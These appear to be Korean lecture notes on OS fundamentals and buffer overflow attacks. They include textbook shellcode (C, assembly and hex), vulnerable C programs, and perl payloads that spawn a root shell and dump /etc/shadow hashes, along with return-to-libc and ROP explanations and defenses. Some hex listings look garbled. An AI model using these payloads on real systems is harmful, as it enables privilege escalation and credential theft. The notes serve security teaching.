09. Buffer Overflow

OS Overview

Operating System

• Multiprogramming은 효율성을 위해 필요함.
  • 단일 사용자는 CPU와 I/O 장치를 항상 바쁘게 유지할 수 없음.
  • Multiprogramming은 CPU가 항상 실행할 작업을 갖도록 작업(코드 및 데이터)을 구성
  • 시스템의 전체 작업 중 일부(subset)는 메모리에 유지됨.
  • 하나의 작업이 선택되어 job scheduling을 통해 실행됨.
  • 작업이 대기해야 할 때(예: I/O 대기), OS는 다른 작업으로 전환함.
• Timesharing(multitasking)은 사용자가 실행 중인 각 작업과 상호 작용할 수 있도록 CPU가 작업을 매우 자주 전환하는 논리적 확장임.
  • 대화형(interactive) 컴퓨팅을 생성함.
  • 응답 시간은 충분히 짧아야 함.
  • 각 사용자는 메모리에서 실행 중인 최소 하나의 프로그램을 가짐 $\rightarrow$ process
  • 여러 작업이 동시에 실행 준비가 된 경우 $\rightarrow$ CPU scheduling
  • Process들이 메모리에 맞지 않는 경우, swapping을 통해 실행을 위해 넣고 뺌
  • 메모리에 완전히 적재되지 않은 process의 실행을 허용하는 virtual memory

Operating System Operations

• Dual-mode operation은 OS가 자신과 다른 시스템 구성 요소를 보호할 수 있게 함.
  • User mode와 kernel mode
  • 하드웨어에 의해 제공되는 mode bit
    • 시스템이 user code를 실행 중인지 kernel code를 실행 중인지 구별하는 기능을 제공함.
    • 일부 명령어는 특권(privileged) 명령어로 지정되어 kernel mode에서만 실행 가능함.
    • System call은 모드를 kernel로 변경하고, 호출에서 반환될 때 user로 재설정함.

Process Management

• Process
  • 실행 중인 프로그램
  • 시스템 내 작업의 단위
  • 프로그램은 수동적(passive) 개체이며, process는 능동적(active) 개체임.
• Process는 작업을 수행하기 위해 리소스가 필요함.
  • CPU, 메모리, I/O, file
  • 초기화 데이터
• Process 종료 시 재사용 가능한 리소스의 회수가 필요함.
• Single-threaded process는 실행할 다음 명령어의 위치를 지정하는 하나의 program counter를 가짐.
• Multi-threaded process는 thread당 하나의 program counter를 가짐.

Memory Management

• 처리 전후의 모든 데이터는 메모리에 있음.
• 실행하기 위한 모든 명령어는 메모리에 있음.
• Memory management는 언제 무엇을 메모리에 둘지 결정함.
  • CPU utilization과 사용자에 대한 응답 시간을 최적화함.
• Memory management 활동
  • 현재 메모리의 어느 부분이 사용되고 있으며 누구에 의해 사용되는지 추적함.
  • 어떤 process(또는 그 일부)와 데이터를 메모리로 이동시키고 내보낼지 결정함.
  • 필요에 따라 메모리 공간을 할당(allocating)하고 해제(deallocating)함.

Storage Management

• OS는 정보 저장소에 대한 균일하고 논리적인 뷰(view)를 제공함.
  • 물리적 속성을 논리적 저장 단위인 file로 추상화함.
  • 각 매체는 장치(예: disk drive, tape drive)에 의해 제어됨.
  • 가변적인 속성에는 접근 속도, 용량, 데이터 전송 속도, 접근 방법(순차 또는 무작위)이 포함됨.
• File-System management
  • File들은 일반적으로 directory들로 구성됨.
  • 누가 무엇에 접근할 수 있는지 결정하기 위해 대부분의 시스템에서 access control을 수행함.
  • OS 활동에 포함되는 것들
    • File 및 directory 생성과 삭제
    • File 및 directory를 조작하기 위한 primitives
    • File을 보조 저장소(secondary storage)에 매핑
    • 안정적인(비휘발성) 저장 매체에 file 백업

A View of Operating System Services

System Calls

• OS가 제공하는 서비스에 대한 프로그래밍 인터페이스
• 일반적으로 고수준 언어(C 또는 C++)로 작성됨.
• 대부분 직접적인 system call 사용보다는 고수준 Application Program Interface(API)를 통해 프로그램에 의해 접근됨.
  • open() : system call
  • fopen() : API(C 언어 라이브러리)
• 가장 일반적인 세 가지 API
  • Windows용 Win32 API
  • POSIX 기반 시스템(UNIX, Linux, Mac OS X)용 POSIX API
  • Java virtual machine(JVM)용 Java API
• System call 대신 API를 사용하는 이유?
  • 이식성(Portability)
  • 사용 편의성(Ease of use)

System Call Implementation

• 일반적으로 각 system call에는 번호가 연관됨.
  • System-call interface는 이 번호에 따라 색인화된 테이블을 유지함.
• System call interface는 OS kernel에서 의도된 system call을 호출하고 system call의 상태와 반환 값을 반환함.
• 호출자(caller)는 system call이 어떻게 구현되었는지 알 필요가 없음.
  • API를 준수하고 OS가 결과적으로 무엇을 할지 이해하기만 하면 됨.
  • OS 인터페이스의 대부분의 세부 사항은 API에 의해 프로그래머로부터 숨겨짐.

API – System Call – OS Relationship

                 │                      │               
              ┌──│   user application   │◄──┐           
              │  └──────────────────────┘   │           
              │                             │           
user          ▼ open()                      │           
mode   ┌────────────────────────────────────┴────┐      
───────┤          system call interface          ├──────
kernel └─┬───────────────────────────────────────┘      
mode     │                                    ▲         
         │  ┌───┐                             │         
         │  │ . │                             │         
         └─►│ . │            open()           │         
            │ . │             Implementation  │         
            ├───┤             of open()       │         
          i ├───┼──────────►  system call     │         
            │ . │              .              │         
            │ . │              .              │         
            │ . │              .              │         
            └───┘             return ─────────┘         

• System call을 직접 사용함.

Standard C Library Example

     │#include <stdio.h>      │      
     │int main()              │      
     │{                       │      
     │    .                   │      
     │    .                   │      
    ┌┼──  printf("Greetings");◄┐     
    ││    .                   ││     
    ││    .                   ││     
    ││    return 0;           ││     
    ││}                       ││     
    │└────────────────────────┘│     
user│                          │     
mode└───►┌──────────────────┬──┘     
─────────┤standard C library├────────
kernel  ┌┴──────────────────◄─┐      
mode    │                     │      
        │write()              │      
        │ ┌────────────────┐  │      
        └─┼►   write()     ┼──┘      
          │  system call   │         

• write() system call을 호출하는 printf() 라이브러리 호출을 수행하는 C 프로그램

Examples of Windows and Unix System Calls

Buffer Overflow

• 매우 일반적인 공격 메커니즘
  • 1988년 Morris Worm에 의해 처음 널리 사용됨.
• 예방 기술이 알려져 있음.
• 여전히 주요 우려 사항임.
  • 널리 배포된 운영 체제 및 애플리케이션에 있는 버그가 많은 코드의 유산
  • 프로그래머들의 지속적인 부주의한 프로그래밍 관행

Brief History of Buffer Overflow Attacks

Buffer Overflow/Buffer Overrun

• Buffer overflow 또는 buffer overrun은 NIST의 주요 정보 보안 용어 사전에서 다음과 같이 정의됨
  • "할당된 용량보다 더 많은 입력이 buffer 또는 데이터 저장 영역에 배치되어, 다른 정보를 덮어쓰는 인터페이스의 상태. 공격자는 이러한 상태를 악용하여 시스템을 충돌시키거나, 시스템의 제어권을 얻을 수 있는 특수하게 제작된 코드를 삽입함."

Buffer Overflow Basics

• Process가 고정된 크기의 buffer 제한을 넘어 데이터를 저장하려고 시도할 때 발생하는 프로그래밍 오류
• 인접한 메모리 위치를 덮어씀
  • 위치에는 다른 프로그램 변수, 파라미터 또는 프로그램 제어 흐름 데이터가 포함될 수 있음.
  • Buffer는 process의 stack, heap 또는 데이터 섹션에 위치할 수 있음.
• 결과
  • 프로그램 데이터의 손상
  • 예상치 못한 제어 전송
  • 메모리 접근 위반
  • 공격자가 선택한 코드의 실행

Basic Buffer Overflow Example

Figure 10.1 Basic Buffer Overflow Example

Basic Buffer Overflow Stack Values

 Memory        Before             After          Contains  
 Address     gets(str2)         gets(str2)       Value of  
         │                │ │                │             
 . . . . │   . . . . . .  │ │ . . . . . .    │             
         ├────────────────┤ ├────────────────┤             
bffffbf4 │    34fcffbf    │ │    34fcffbf    │         argv
         │    4 . . .     │ │    3 . . .     │             
         ├────────────────┤ ├────────────────┤             
bffffbf0 │    01000000    │ │    01000000    │         argc
         │    . . . .     │ │    . . . .     │             
         ├────────────────┤ ├────────────────┤             
bffffbec │    c6bd0340    │ │    c6bd0340    │  return addr
         │    . . . @     │ │    . . . @     │             
         ├────────────────┤ ├────────────────┤             
bffffbe8 │    08fcffbf    │ │    08fcffbf    │ old base ptr
         │    . . . .     │ │    . . . .     │             
         ├────────────────┤ ├────────────────┤             
bffffbe4 │    00000000    │ │    01000000    │        valid
         │    . . . .     │ │    . . . .     │             
         ├────────────────┤ ├────────────────┤             
bffffbe0 │    80640140    │ │    00640140    │             
         │    . d . @     │ │    . d . @     │             
         ├────────────────┤ ├────────────────┤             
bffffbdc │    54001540    │ │    4e505554    │    str1[4-7]
         │    T . . @     │ │    N P U T     │             
         ├────────────────┤ ├────────────────┤             
bffffbd8 │    53544152    │ │    42414449    │    str1[0-3]
         │    S T A R     │ │    B A D I     │             
         ├────────────────┤ ├────────────────┤             
bffffbd4 │    00850408    │ │    4e505554    │    str2[4-7]
         │    . . . .     │ │    N P U T     │             
         ├────────────────┤ ├────────────────┤             
bffffbd0 │    30561540    │ │    42414449    │    str2[0-3]
         │    0 V . @     │ │    B A D I     │             
         ├────────────────┤ ├────────────────┤             
 . . . . │   . . . . . .  │ │ . . . . . .    │             
         │                │ │                │             

Figure 10.2 Basic Buffer Overflow Stack Values

Buffer Overflow Attacks

• Buffer overflow를 악용하기 위해 공격자가 필요한 것
  • 공격자의 제어 하에 외부에서 공급된 데이터를 사용하여 트리거할 수 있는 프로그램 내의 buffer overflow 취약점을 식별하는 것
  • 해당 buffer가 메모리에 어떻게 저장되는지 이해하고 손상 가능성을 결정하는 것
• 취약한 프로그램 식별 방법
  • 프로그램 소스 검사(inspection)
  • 프로그램이 크기가 초과된 입력을 처리할 때 프로그램 실행을 추적(tracing)
  • 잠재적으로 취약한 프로그램을 자동으로 식별하기 위해 fuzzing과 같은 도구 사용

Programming Language History

• 기계 수준에서 컴퓨터 프로세서에 의해 실행되는 기계 명령어에 의해 조작되는 데이터는 프로세서의 register나 메모리에 저장됨.
• 어셈블리 언어 프로그래머는 저장된 모든 데이터 값의 올바른 해석에 대한 책임이 있음.
• 현대의 고수준 언어
  • 타입(type)과 유효한 연산에 대한 강력한 개념을 가짐.
  • Buffer overflow에 취약하지 않음.
  • 오버헤드가 발생하며 사용에 일부 제한이 있음.
• C 및 관련 언어
  • 고수준 제어 구조를 갖지만 메모리에 대한 직접 접근을 허용함.
  • 따라서 buffer overflow에 취약함.
  • 널리 사용되고, 안전하지 않으며, 따라서 취약한 코드의 거대한 유산을 가짐.

Stack Buffer Overflows

• Buffer가 stack에 위치할 때 발생함.
  • Stack smashing이라고도 함.
  • Morris Worm에 의해 사용됨.
  • 악용(exploits)에는 확인되지 않은 buffer overflow가 포함됨.
• 여전히 널리 악용되고 있음.
• Stack frame
  • 한 함수가 다른 함수를 호출할 때 반환 주소(return address)를 저장할 곳이 필요함.
  • 또한 호출된 함수로 전달될 파라미터를 저장하고 레지스터 값을 저장할 위치가 필요할 수 있음.

Stack Frame with Functions P and Q

  ┌──────────────────┐           
P:│    Return Addr   │           
  ├──────────────────┤           
  │ Old Frame Pointer│◄──┐       
  ├──────────────────┤   │       
  │      param 2     │   │       
  ├──────────────────┤   │       
  │      param 1     │   │Frame  
  ├──────────────────┤   │Pointer
Q:│ Return Addr in P │   │       
  ├──────────────────┤   │       
  │ Old Frame Pointer│◄──┘       
  ├──────────────────┤           
  │      local 1     │           
  ├──────────────────┤           
  │      local 2     │◄───Stack  
  ├─────────┬────────┤    Pointer       
  │         ▼        │           

Figure 10.3 Example Stack Frame with Functions P and Q

Programs and Processes

                          Process image in                       
                             main memory                         
                      ┌────────────────────────┐◄───────┐        
                      │ Kernel Code and Data   │ Top of Memory   
                      ├────────────────────────┤                 
                      │         Stack          │                 
                      │           │            │                 
                      │           ▼            │                 
                      ├────────────────────────┤                 
                      │     Spare Memory       │                 
                      ├────────────────────────┤                 
                      │           ▲            │                 
                      │           │            │                 
   Program File       │         Heap           │                 
┌───────────────┐---─►├────────────────────────┤                 
│  Global Data  │     │       Global Data      │                 
├───────────────┤---─►├────────────────────────┤                 
│    Program    │     │       Program          │                 
│ Machine Code  │     │       Machine Code     │                 
└───────────────┘---─►├────────────────────────┤                 
                      │  Process Control Block │ Bottom of Memory
                      └────────────────────────┘◄───────┘        

Figure 10.4 Program Loading into Process Memory

Memory        Before           After      Contains    
Address      gets(inp)       gets(inp)    Value of    
                                                      
  . . .  │   . . . .    ││   . . . .    │             
         │              ││              │             
         ├──────────────┤├──────────────┤             
bffffbe0 │   3e850408   ││   00850408   │    tag      
         │   > . . .    ││   . . . .    │             
         ├──────────────┤├──────────────┤             
bffffbdc │   f0830408   ││   94830408   │ return addr 
         │   . . . .    ││   . . . .    │             
         ├──────────────┤├──────────────┤             
bffffbd8 │   e8fbffbf   ││   e8ffffbf   │ old base ptr
         │   . . . .    ││   . . . .    │             
         ├──────────────┤├──────────────┤             
bffffbd4 │   60840408   ││   65666768   │             
         │   ` . . .    ││   e f g h    │             
         ├──────────────┤├──────────────┤             
bffffbd0 │   30561540   ││   61626364   │             
         │   0 V . @    ││   a b c d    │             
         ├──────────────┤├──────────────┤             
bffffbcc │   1b840408   ││   55565758   │ inp[12-15]  
         │              ││   U V W X    │             
         ├──────────────┤├──────────────┤             
bffffbc8 │   e8fbffbf   ││   51525354   │ inp[8-11]   
         │              ││   Q R S T    │             
         ├──────────────┤├──────────────┤             
bffffbc4 │   3cfcffbf   ││   45464748   │ inp[4-7]    
         │   < . . .    ││   E F G H    │             
         ├──────────────┤├──────────────┤             
bffffbc0 │   34fcffbf   ││   41424344   │ inp[0-3]    
         │   4 . . .    ││   A B C D    │             
         ├──────────────┤├──────────────┤             
         │              ││              │             
  . . .  │   . . . .    ││   . . . .    │             

Figure 10.6 Basic Stack Overflow Stack Values

Stack Overflow Example

(a) Another stack overflow C code

void getinp(char *inp, int siz)
{
    puts("Input value");
    fgets(inp, siz, stdin);
    printf("buffer3 getinp read %s\n", inp);
}

void display(char *val)
{
    char tmp[16];
    sprintf(tmp, "read val: %s\n", val);
    puts(tmp);
}

int main(int argc, char *argv[])
{
    char buf[16];
    getinp(buf, sizeof(buf));
    display(buf);
    printf("buffer3 done\n");
}

(b) Another stack overflow example runs

$ cc -o buffer3 buffer3.c
$ ./buffer3
Input value
SAFE
buffer3 getinp read SAFE
read val: SAFE
buffer3 done

$ ./buffer3
Input value
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
buffer3 getinp read XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
read val: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
buffer3 done
Segmentation fault (core dumped)

Figure 10.7 Another Stack Overflow Example

Common Unsafe C Standard Library Routines

Table 10.2 Some Common Unsafe C Standard Library Routines

Shellcode

• 공격자가 제공한 코드
  • 종종 overflow되는 buffer에 저장됨.
  • 전통적으로 사용자 명령줄 인터프리터(shell)로 제어를 전송했음.
• 기계어 코드(Machine code)
  • 프로세서 및 운영 체제에 고유함.
  • 전통적으로 생성하기 위해 좋은 어셈블리 언어 기술이 필요했음.
  • 최근에는 이 과정을 자동화하는 다수의 사이트와 도구가 개발됨.
• Metasploit Project
  • 침투(penetration), IDS 시그니처 개발 및 exploit 연구를 수행하는 사람들에게 유용한 정보를 제공함.

Example Shellcode

(a) Desired shellcode code in C

int main(int argc, char *argv[])
{
    char *sh;
    char *args[2];

    sh = "/bin/sh";
    args[0] = sh;
    args[1] = NULL;
    execve(sh, args, NULL);
}

(b) Equivalent position-independent x86 assembly code

nop                 // end of nop sled
nop
jmp     find        // jump to end of code
cont:
    pop     %esi            // pop address of sh off stack into esi
    xor     %eax,%eax       // zero contents of EAX
    mov     %al,0x7(%esi)   // copy zero byte to end of string sh (%esi)
    mov     %esi,0x8(%esi)  // save address of sh in args[0] (%esi+8)
    mov     %eax,0xc(%esi)  // copy zero to args[1] (which will be NULL)
    mov     %al,%ebx        // copy address of sh (esi) to ebx
    lea     0x8(%esi),%ecx  // copy address of args (esi+8) to ecx
    lea     0xc(%esi),%edx  // copy address of args[1] (esi+c) to edx
    int     `0x80            // software interrupt to execute syscall
find:
    call    cont            // call cont which saves next address on stack
sh:
    .string "/bin/sh "
args:
    .long   0               // space used for args array
    .long   0               // args[1] and also NULL for env array

(c) Hexadecimal values for compiled x86 machine code

90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89
46 08 89 46 0c 8d 56 0c 8d 4e 08 b0 0b
ff d0 ff 2f 62 69 6e 2f 73 68 20 20 20

Figure 10.8 Example UNIX Shellcode

Table 10.3 Common x86 Assembly Language Instructions

Table 10.4 x86 Registers

$ dir -l buffer4
-rwsr-xr-x 1 root knoppix 16571 Jul 17 10:49 buffer4

$ whoami
knoppix

$ cat /etc/shadow
cat: /etc/shadow: Permission denied

$ cat attack1
perl -e 'print pack("H*", 
"90909090909090909090909090909090" .
"909090e5a513c0884767d1e895e089" .
"460c0b89b83d84e8d85c5d5cd8e8e" .
"fffff6269e627a938f1fbe5e0bffb0" .
"20202020203838cffbfc0fbffbfa0");
print "whoami\n";
print "cat /etc/shadow\n";'

$ attack1 | buffer4
Enter value for name: Hello your yyyDAOApy is e?^1AFF.../bin/sh...
root: $1$rNLd4tX7$YxSna7JxH7.4JU7T419JRLrk1:13346:0:99999:7:: 
daemon:*:11453:0:99999:7:: 
...
nobody:*:11453:0:99999:7:: 
knoppix:$1$FVzSzkBU$EdSvudJkCH8Y0vIAtdnAV/:13346:0:99999:7:: 

Figure 10.9 Example Stack Overflow Attack

Stack Overflow Variants

  ┌──────────────────────────┐     ┌───────────────────────────┐   
  │  target program can be:  │     │    shellcode functions    │   
  └─────────────┬────────────┘     └─────────────┬─────────────┘   
                │                                │                 
┌───────────────▼──────────────┐ ┌───────────────▼────────────────┐
│ ┌──────────────────────────┐ │ │ ┌────────────────────────────┐ │
│ │ a trusted system utility │ │ │ │ launch a remote shell when │ │
│ └──────────────────────────┘ │ │ │ connected to               │ │
│ ┌──────────────────────────┐ │ │ ├────────────────────────────┤ │
│ │ network service daemon   │ │ │ │ create a reverse shell     │ │
│ └──────────────────────────┘ │ │ │ that connects back to the  │ │
│ ┌──────────────────────────┐ │ │ │ hacker                     │ │
│ │ commonly used library    │ │ │ ├────────────────────────────┤ │
│ │ code                     │ │ │ │ use local exploits that    │ │
│ └──────────────────────────┘ │ │ │ establish a shell          │ │
└──────────────────────────────┘ │ ├────────────────────────────┤ │
                                 │ │ flush firewall rules that  │ │
                                 │ │ currently block other      │ │
                                 │ │ attacks                    │ │
                                 │ ├────────────────────────────┤ │
                                 │ │ break out of a chroot      │ │
                                 │ │ (restricted execution)     │ │
                                 │ │ environment, giving full   │ │
                                 │ │ access to the system       │ │
                                 │ └────────────────────────────┘ │
                                 └────────────────────────────────┘

Buffer Overflow Defenses

        ┌────────────────────┐            
        │     two broad      │            
        │ defense approaches │            
        └─────────┬──────────┘            
         ┌────────┴──────────┐            
  ┌──────┴───────┐      ┌────┴─────┐      
  │ compile-time │      │ run-time │      
  └──────┬───────┘      └────┬─────┘      
┌────────┴─────────┐ ┌───────┴───────────┐
│  aim to harden   │ │ aim to detect and │
│programs to resist│ │  abort attacks in │
│  attacks in new  │ │ existing programs │
│     programs     │ └───────────────────┘
└──────────────────┘                      

• Buffer overflow는 널리 악용됨.
• 두 가지 광범위한 방어 접근 방식
  • Compile-time: 새 프로그램에서 공격에 저항하도록 프로그램을 강화하는 것을 목표로 함.
  • Run-time: 기존 프로그램에서 공격을 탐지하고 중단하는 것을 목표로 함.

Compile-Time Defenses: Programming Language

• 현대의 고수준 언어 사용
  • Buffer overflow 공격에 취약하지 않음.
  • 컴파일러가 변수에 대한 범위 검사(range checks) 및 허용 가능한 연산을 강제함.
• 단점
  • 검사를 부과하기 위해 실행 시간(run time)에 추가 코드가 실행되어야 함.
  • 유연성과 안전성은 리소스 사용 비용을 수반함.
  • 기본 기계어 및 아키텍처와의 거리로 인해 일부 명령어 및 하드웨어 리소스에 대한 접근이 손실됨.
  • 이러한 리소스와 상호 작용해야 하는 장치 드라이버와 같은 코드 작성에 유용성이 제한됨.

Compile-Time Defenses: Safe Coding Techniques

• C 설계자들은 타입 안전성(type safety)보다 공간 효율성과 성능 고려 사항에 훨씬 더 중점을 두었음.
  • 프로그래머가 코드 작성 시 적절한 주의를 기울일 것이라고 가정함.
• 프로그래머는 코드를 검사하고 안전하지 않은 코딩을 다시 작성해야 함.
  • 이에 대한 예가 OpenBSD 프로젝트임.
• 프로그래머들은 운영 체제, 표준 라이브러리 및 공통 유틸리티를 포함한 기존 코드 기반을 감사(audit)했음.
  • 이로 인해 널리 사용되는 가장 안전한 운영 체제 중 하나로 널리 간주되게 됨.

Examples of Unsafe C Code

int copy_buf(char *to, int pos, char *from, int len) {
  int i;
  
  for (i = 0; i < len; i++) {
    to[pos] = from[i];
    pos++;
  }
  return pos;
}

(a) Unsafe byte copy

short read_chunk(FILE fil, char *to) {
  short len;
  fread(&len, 2, 1, fil);   /* read length of binary data     */
  fread(to, 1, len, fil);   /* read len bytes of binary data  */
  return len;
}

(b) Unsafe byte input

Figure 10.10 Examples of Unsafe C Code

Compile-Time Defenses: Language Extensions / Safe Libraries

• 동적으로 할당된 메모리 처리는 컴파일 시간에 크기 정보를 사용할 수 없으므로 더 문제가 됨.
  • 확장이 필요하고 라이브러리 루틴의 사용이 필요함.
  • 프로그램과 라이브러리를 다시 컴파일해야 함.
  • 타사(third-party) 애플리케이션에 문제가 발생할 가능성이 있음.
• C의 우려 사항은 안전하지 않은 표준 라이브러리 루틴의 사용임.
  • 한 가지 접근 방식은 이것들을 더 안전한 변형으로 대체하는 것임.
  • Libsafe가 그 예임.
  • 라이브러리는 기존 표준 라이브러리보다 먼저 로드되도록 정렬된 동적 라이브러리로 구현됨.

Compile-Time Defenses: Stack Protection

• 손상 징후를 위해 stack을 확인하는 함수 진입(entry) 및 종료(exit) 코드를 추가함.
• 무작위 canary 사용
  • 값은 예측 불가능해야 함.
  • 시스템마다 달라야 함.
• Stackshield 및 Return Address Defender(RAD)
  • 추가적인 함수 진입 및 종료 코드를 포함하는 GCC 확장
  • 함수 진입 시 반환 주소의 사본을 안전한 메모리 영역에 씀
  • 함수 종료 코드는 stack frame의 반환 주소를 저장된 사본과 대조하여 확인함.
  • 변경이 발견되면 프로그램을 중단함.

Run-Time Defenses: Executable Address Space Protection

• Virtual memory 지원을 사용하여 메모리의 일부 영역을 실행 불가능(non-executable)하게 만듦
  • 메모리 관리 장치(MMU)의 지원이 필요함.
  • SPARC / Solaris 시스템에 오래전부터 존재했음.
  • x86 Linux/Unix/Windows 시스템에서는 최근에 도입됨.
• 문제점
  • 실행 가능한 stack 코드에 대한 지원
  • 특별한 조항(provisions)이 필요함.

Run-Time Defenses: Address Space Layout Randomization (ASLR)

• 주요 데이터 구조의 위치를 조작함.
  • Stack, heap, 전역 데이터
  • 각 process마다 무작위 shift를 사용함.
  • 현대 시스템의 큰 주소 범위는 일부를 낭비하는 것이 무시할 수 있는 영향을 미침을 의미함.
• Heap buffer 위치의 무작위화
• 표준 라이브러리 함수의 무작위 위치

Run-Time Defenses: Guard Pages

• 메모리의 임계(critical) 영역 사이에 guard pages를 배치함.
  • MMU에서 불법 주소로 플래그 지정됨.
  • 접근 시도 시 process가 중단됨.
• 추가 확장은 stack frame과 heap buffer 사이에 guard pages를 배치함.
  • 필요한 다수의 페이지 매핑을 지원하기 위한 실행 시간 비용이 발생함.

Replacement Stack Frame

• Buffer와 저장된 frame pointer 주소를 덮어쓰는 변형
  • 저장된 frame pointer 값이 더미(dummy) stack frame을 참조하도록 변경됨.
  • 현재 함수가 교체된 더미 frame으로 반환됨.
  • 제어가 덮어쓰여진 buffer의 shellcode로 전송됨.
• Off-by-one 공격
  • 사용 가능한 공간보다 1바이트 더 복사되도록 허용하는 코딩 오류
• 방어
  • 함수 종료 코드에 의해 stack frame 또는 반환 주소의 수정 사항을 탐지하는 모든 stack 보호 메커니즘
  • 실행 불가능한 stack 사용
  • 메모리 내의 stack 및 시스템 라이브러리의 무작위화

Return to System Call

• Stack overflow 변형으로 반환 주소를 표준 라이브러리 함수로 대체함.
  • 실행 불가능한 stack에 대한 대응
• 방어
  • 공격자가 반환 주소 위의 stack에 적절한 파라미터를 구성함.
  • 함수가 반환되고 라이브러리 함수가 실행됨.
  • 공격자는 정확한 buffer 주소가 필요할 수 있음.
  • 두 개의 라이브러리 호출을 연결(chain)할 수도 있음.
• 방어
  • 함수 종료 코드에 의해 stack frame 또는 반환 주소의 수정 사항을 탐지하는 모든 stack 보호 메커니즘
  • 실행 불가능한 stack 사용
  • 메모리 내의 stack 및 시스템 라이브러리의 무작위화

Return-to-libc

• 코드 주입 대신 기존 코드(예: libc 함수) 사용
  • 예) system(“/bin/sh”); execve (argv[0], argv, NULL);
• Exploit 예
  • A * 80 + B * 4 + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"
  • 0x40058ae0
  • 0x400fbff9
• echo()가 반환될 때, system()이 새로운 shell을 실행함.
• $W \oplus X$ 모델 우회

Heap Overflow

• Heap에 위치한 buffer 공격
  • 일반적으로 프로그램 코드 위에 위치함.
  • 메모리는 동적 데이터 구조(예: 레코드의 연결 리스트)에서 사용하기 위해 프로그램에 의해 요청됨.
• 반환 주소 없음.
  • 따라서 제어 전송이 쉽지 않음.
  • 악용할 수 있는 함수 포인터를 가질 수 있음.
  • 또는 관리 데이터 구조를 조작할 수 있음.
• 방어
  • Heap을 실행 불가능하게 만들기
  • Heap의 메모리 할당 무작위화

Heap Overflow Example

/* record type to allocate on heap */
typedef struct chunk {
    char inp[64];             /* vulnerable input buffer */
    void (*process)(char *);  /* pointer to function to process inp */
} chunk_t;

void showlen(char *buf)
{
    int len;
    len = strlen(buf);
    printf("buffer5 read %d chars\n", len);
}

int main(int argc, char *argv[])
{
    chunk_t *next;

    setbuf(stdin, NULL);
    next = malloc(sizeof(chunk_t));
    next->process = showlen;
    printf("Enter value: ");
    gets(next->inp);
    next->process(next->inp);
    printf("buffer5 done\n");
}

$ cat attack2
#!/bin/sh
# implement heap overflow against program buffer5
perl -e 'print pack("H*",
"90909090909090909090909090909090"
."8b1a5e31c08846078d1e895e0881"
."460cb00b89f38d4e08bd560ccd80e8"
."8f26f96e2f736820202020202020"
."b89704080a");
print "whoami\n";
print "cat /etc/shadow\n";
'

$ attack2 | buffer5
Enter value:
root:$1$4oImychST3RVS2F30VNRG4JUZF4o3/:13347:0:99999:7:::
daemon:*:11453:0:99999:7:::
...
nobody:*:11453:0:99999:7:::
knoppix:$1$p2wziIMLs/yVHPQuw5kvlUFJs3b9a/:13347:0:99999:7:::
...

Global Data Overflow

• 전역 데이터에 위치한 buffer를 공격할 수 있음.
  • 프로그램 코드 위에 위치할 수 있음.
  • 함수 포인터와 취약한 buffer가 있는 경우
  • 또는 인접한 process 관리 테이블
  • 나중에 호출되는 함수 포인터를 덮어쓰는 것을 목표로 함.
• 방어
  • 실행 불가능하거나 무작위화된 전역 데이터 영역
  • 함수 포인터 이동
  • Guard pages

Global Data Overflow Example

/* global static data - will be targeted for attack */
struct chunk {
    char inp[64];             /* input buffer */
    void (*process)(char *);  /* pointer to function to process it */
} chunk;

void showlen(char *buf)
{
    int len;
    len = strlen(buf);
    printf("buffer6 read %d chars\n", len);
}

int main(int argc, char *argv[])
{
    setbuf(stdin, NULL);
    chunk.process = showlen;
    printf("Enter value: ");
    gets(chunk.inp);
    chunk.process(chunk.inp);
    printf("buffer6 done\n");
}

$ cat attack3
#!/bin/sh
# implement global data overflow attack against program buffer6
perl -e 'print pack("H*",
"90909090909090909090909090909090"
."9090eb1a5e31c08846078d1e895e0889"
."460cb00b89f38d4e08bd560ccd80e8e1"
."fffff26f696e2f736820202020202020"
."409704080a");
print "whoami\n";
print "cat /etc/shadow\n";
'

$ attack3 | buffer6
Enter value:
root
root:$1$4oImychST3RVS2E3OyNRGJGUF4o3/:13347:0:99999:7:::
daemon:*:11453:0:99999:7:::
...
nobody:*:11453:0:99999:7:::
knoppix:$1$p2wziIMLs/yVHPQuw5kvlUFJs3b9a/:13347:0:99999:7:::
...

Return-Oriented Programming

• 개념 (Concept)
• 공격 방법 (Attack method)
• 대응책 (Countermeasures)
• 공격자는 f(“foo”)를 실행하고 싶지만...
  • f()가 libc에 없음.
  • 또는 f()의 위치가 무작위화됨.

ROP (Return-Oriented Programming)

• 악성 코드를 주입할 필요 없이 임의의(튜링 완전한) 계산 수행
  • 라이브러리 함수 호출 필요 없음 (예: system(), execve(), ...)
  • 원본 코드 수정 필요 없음.
    • 하지만 여전히 stack 내용(반환 주소 포함)을 변경해야 함.
• ROP 공격은 다음 시스템에 적용될 수 있음.
  • Intel x86 [Sha07]
  • ARM [Kor09]
  • The SPARC Machine [BRSS08]
  • Atmel AVR [FC08]
  • Z80 Voting Machines [CFK+09]
  • PowerPC [Lin09]
• Apple iPhone
  • JailbreakMe [Hal10]
  • SMS 데이터베이스 탈취 [IW10]
• Desktop PCs
  • Acrobat Reader [jdu10]
  • Adobe Flashplayer [Ado10]
• 특수 목적 기계
  • Z80 voting machine [CFK+09]

General Idea of ROP

┌──────────────────────────────────────────┐
│  Seq 1      Seq 2      Seq 3      Seq 4  │
│ ┌─────┐    ┌─────┐    ┌─────┐    ┌─────┐ │
│ │ins1 │ ┌─►│ins1 │ ┌─►│ins1 │ ┌─►│ins1 │ │
│ ├─────┤ │  ├─────┤ │  ├─────┤ │  ├─────┤ │
│ │ins2 │ │  │ins2 │ │  │ins2 │ │  │ins2 │ │
│ ├─────┤ │  ├─────┤ │  ├─────┤ │  ├─────┤ │
│ │ins3 │ │  │ret  │ │  │ins3 │ │  │ret  │ │
│ ├─────┤ │  └──┬──┘ │  ├─────┤ │  └─────┘ │
│ │ins4 │ │     └────┘  │ret  │ │          │
│ ├─────┤ │             └──┬──┘ │          │
│ │ret  │─┘                └────┘          │
│ └─────┘                                  │
└───────────────────Gadget─────────────────┘

• 아이디어
  • (shellcode 주입, lib 함수 호출, 코드 수정 없이) 임의의 계산을 수행할 수 있음.
• 접근 방식
  • 전체 함수를 사용하는 대신 작은 명령어 시퀀스(예: libc의)를 사용함.
  • 명령어 시퀀스는 2 ~ 5개의 명령어로 구성됨.
  • 모든 시퀀스는 ret 명령어로 끝남.
  • 명령어 시퀀스는 gadget으로 연결됨.
